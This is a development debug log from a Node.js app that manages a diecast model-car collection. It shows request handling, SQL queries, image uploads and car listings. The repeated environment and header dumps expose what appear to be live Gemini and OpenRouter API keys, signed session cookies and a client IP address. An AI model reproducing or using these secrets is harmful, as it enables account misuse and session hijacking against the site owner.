    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:14:08.572Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:14:08.572Z server-connect:app Executing action step identify
2026-02-04T07:14:08.572Z server-connect:app options: { provider: 'security' }
2026-02-04T07:14:08.572Z server-connect:output identity: 1
2026-02-04T07:14:08.572Z server-connect:app Executing action step restrict
2026-02-04T07:14:08.572Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:14:08.573Z server-connect:output restrict: undefined
2026-02-04T07:14:08.573Z server-connect:app Executing action step condition
2026-02-04T07:14:08.573Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:14:08.573Z server-connect:app Executing action step update
2026-02-04T07:14:08.573Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:14:08.574Z server-connect:output update: { affected: 1 }
2026-02-04T07:14:08.574Z server-connect:app Executing action step upload
2026-02-04T07:14:08.574Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:14:08.574Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T07:14:08.574Z server-connect:upload Process fields: 'images[]'
2026-02-04T07:14:08.574Z server-connect:upload Processing file: {
  name: '20260201_002516.jpg',
  data: <Buffer >,
  size: 279981,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-31-20378841770189248570',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'b0b3aa58b12356ee39bc12f78a14017d',
  mv: [Function: mv]
}
2026-02-04T07:14:08.574Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_002516_a75b07af-53b8-4b13-92b8-5a8a8c15d4a3.jpg',
  rel: 'public/assets/images/diecast/20260201_002516_a75b07af-53b8-4b13-92b8-5a8a8c15d4a3.jpg'
}
2026-02-04T07:14:08.574Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_002516_a75b07af-53b8-4b13-92b8-5a8a8c15d4a3.jpg',
  rel: 'assets/images/diecast/20260201_002516_a75b07af-53b8-4b13-92b8-5a8a8c15d4a3.jpg'
}
2026-02-04T07:14:08.574Z server-connect:output upload_image: [
  {
    name: '20260201_002516_a75b07af-53b8-4b13-92b8-5a8a8c15d4a3.jpg',
    path: '/public/assets/images/diecast/20260201_002516_a75b07af-53b8-4b13-92b8-5a8a8c15d4a3.jpg',
    url: '/assets/images/diecast/20260201_002516_a75b07af-53b8-4b13-92b8-5a8a8c15d4a3.jpg',
    type: 'image/jpeg',
    size: 279981
  }
]
2026-02-04T07:14:08.574Z server-connect:app Executing action step repeat
2026-02-04T07:14:08.574Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:14:08.574Z server-connect:app Executing action step insert
2026-02-04T07:14:08.574Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T07:14:08.575Z server-connect:output images: { affected: 1, identity: 182 }
2026-02-04T07:14:08.575Z server-connect:output repeat_images: [ {} ]
2026-02-04T07:14:08.575Z server-connect:output condition: undefined
2026-02-04T07:14:08.779Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:14:08.780Z server-connect:app Executing action step identify
2026-02-04T07:14:08.780Z server-connect:app options: { provider: 'security' }
2026-02-04T07:14:08.780Z server-connect:output identity: 1
2026-02-04T07:14:08.780Z server-connect:app Executing action step restrict
2026-02-04T07:14:08.780Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:14:08.780Z server-connect:output restrict: undefined
2026-02-04T07:14:08.780Z server-connect:app Executing action step paged
2026-02-04T07:14:08.781Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:14:08.783Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T07:14:08.988Z server-connect:router Serving templateView /
2026-02-04T07:14:08.988Z server-connect:app Executing action step identify
2026-02-04T07:14:08.989Z server-connect:app options: { provider: 'security' }
2026-02-04T07:14:08.989Z server-connect:output identity: 1
2026-02-04T07:14:08.989Z server-connect:app Executing action step restrict
2026-02-04T07:14:08.989Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:14:08.989Z server-connect:output restrict: undefined
2026-02-04T07:14:08.989Z server-connect:app Executing action step restrict
2026-02-04T07:14:08.989Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:14:08.989Z server-connect:output restrict: undefined
2026-02-04T07:14:08.989Z server-connect:router Render template layouts/main
2026-02-04T07:14:08.990Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?manufacturer=72&series=193',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:14:20.250Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:14:20.250Z server-connect:app Executing action step identify
2026-02-04T07:14:20.250Z server-connect:app options: { provider: 'security' }
2026-02-04T07:14:20.250Z server-connect:output identity: 1
2026-02-04T07:14:20.250Z server-connect:app Executing action step restrict
2026-02-04T07:14:20.250Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:14:20.251Z server-connect:output restrict: undefined
2026-02-04T07:14:20.251Z server-connect:app Executing action step condition
2026-02-04T07:14:20.251Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:14:20.251Z server-connect:app Executing action step update
2026-02-04T07:14:20.251Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:14:20.252Z server-connect:output update: { affected: 1 }
2026-02-04T07:14:20.252Z server-connect:app Executing action step upload
2026-02-04T07:14:20.252Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:14:20.252Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T07:14:20.252Z server-connect:upload Process fields: 'images[]'
2026-02-04T07:14:20.252Z server-connect:upload Processing file: {
  name: '20260201_002029.jpg',
  data: <Buffer >,
  size: 266892,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-32-20378841770189260248',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'f2f1a0ec68858a4002c1fdd95c2d4671',
  mv: [Function: mv]
}
2026-02-04T07:14:20.252Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_002029_b002f2fe-7ab4-48c8-ba94-10e1a9fd0781.jpg',
  rel: 'public/assets/images/diecast/20260201_002029_b002f2fe-7ab4-48c8-ba94-10e1a9fd0781.jpg'
}
2026-02-04T07:14:20.252Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/20260201_002029_b002f2fe-7ab4-48c8-ba94-10e1a9fd0781.jpg',
  rel: 'assets/images/diecast/20260201_002029_b002f2fe-7ab4-48c8-ba94-10e1a9fd0781.jpg'
}
2026-02-04T07:14:20.252Z server-connect:output upload_image: [
  {
    name: '20260201_002029_b002f2fe-7ab4-48c8-ba94-10e1a9fd0781.jpg',
    path: '/public/assets/images/diecast/20260201_002029_b002f2fe-7ab4-48c8-ba94-10e1a9fd0781.jpg',
    url: '/assets/images/diecast/20260201_002029_b002f2fe-7ab4-48c8-ba94-10e1a9fd0781.jpg',
    type: 'image/jpeg',
    size: 266892
  }
]
2026-02-04T07:14:20.252Z server-connect:app Executing action step repeat
2026-02-04T07:14:20.252Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:14:20.252Z server-connect:app Executing action step insert
2026-02-04T07:14:20.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T07:14:20.253Z server-connect:output images: { affected: 1, identity: 183 }
2026-02-04T07:14:20.253Z server-connect:output repeat_images: [ {} ]
2026-02-04T07:14:20.253Z server-connect:output condition: undefined
2026-02-04T07:14:20.534Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:14:20.534Z server-connect:app Executing action step identify
2026-02-04T07:14:20.534Z server-connect:app options: { provider: 'security' }
2026-02-04T07:14:20.534Z server-connect:output identity: 1
2026-02-04T07:14:20.534Z server-connect:app Executing action step restrict
2026-02-04T07:14:20.534Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:14:20.535Z server-connect:output restrict: undefined
2026-02-04T07:14:20.535Z server-connect:app Executing action step paged
2026-02-04T07:14:20.535Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:14:20.537Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
